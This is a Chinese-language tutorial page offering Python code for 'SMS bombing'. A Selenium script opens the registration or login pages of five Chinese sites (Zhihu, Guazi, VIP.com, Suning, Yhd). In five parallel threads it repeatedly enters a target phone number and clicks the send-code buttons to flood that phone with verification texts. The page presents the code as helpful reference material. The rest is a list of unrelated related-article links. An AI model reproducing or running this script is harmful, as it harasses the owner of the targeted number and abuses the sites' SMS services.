Python短信轰炸的代码

 更新时间:2020年03月25日 14:26:03   作者:小小鸟敲代码  
这篇文章主要介绍了Python短信轰炸的代码,代码简单易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 详解Python获取线程返回值的三种方式

    详解Python获取线程返回值的三种方式

    提到线程,你的大脑应该有这样的印象:我们可以控制它何时开始,却无法控制它何时结束,那么如何获取线程的返回值呢?今天就和大家分享一下一些做法
    2022-07-07
  • python-docx 页面设置详解

    python-docx 页面设置详解

    今天小编就为大家分享一篇python docx 中页面的设置,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2021-10-10
  • 零基础写python爬虫之爬虫框架Scrapy安装配置

    零基础写python爬虫之爬虫框架Scrapy安装配置

    Scrapy是一个使用Python编写的,轻量级的,简单轻巧,并且使用起来非常的方便。使用Scrapy可以很方便的完成网上数据的采集工作,它为我们完成了大量的工作,而不需要自己费大力气去开发。
    2014-11-11
  • Python中可变和不可变对象的深入讲解

    Python中可变和不可变对象的深入讲解

    python与C/C++不一样,它的变量使用有自己的特点,学python的时候一定要记住一切皆为对象,一切皆为对象的引用,这篇文章主要给大家介绍了关于Python中可变和不可变对象的相关资料,需要的朋友可以参考下
    2021-07-07
  • Django通过设置CORS解决跨域问题

    Django通过设置CORS解决跨域问题

    这篇文章主要介绍了Django 通过设置CORS解决跨域问题,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11
  • 浅谈flask源码之请求过程

    浅谈flask源码之请求过程

    这篇文章主要介绍了浅谈flask源码之请求过程,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-07-07
  • windows10安装python依赖报错can‘t create or remove files in install directory问题

    windows10安装python依赖报错can‘t create or remove files in i

    这篇文章主要介绍了windows10安装python依赖报错can‘t create or remove files in install directory问题及解决方案,具有很好的参考价值,希望对大家有所帮助
    2023-09-09
  • 使用Python编写vim插件的简单示例

    使用Python编写vim插件的简单示例

    这篇文章主要介绍了使用Python编写vim插件的简单教程,文中举了一个获取reddit首页信息并显示在缓冲区中的例子,需要的朋友可以参考下
    2015-04-04
  • Python Pandas处理CSV文件的常用技巧分享

    Python Pandas处理CSV文件的常用技巧分享

    这篇文章主要和大家分享几个Python Pandas中处理CSV文件的常用技巧,如:统计列值出现的次数、筛选特定列值、遍历数据行等,需要的可以参考一下
    2022-06-06
  • python中对%、~含义的解释

    python中对%、~含义的解释

    这篇文章主要介绍了python中对%、~含义的解释,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-05-05

最新评论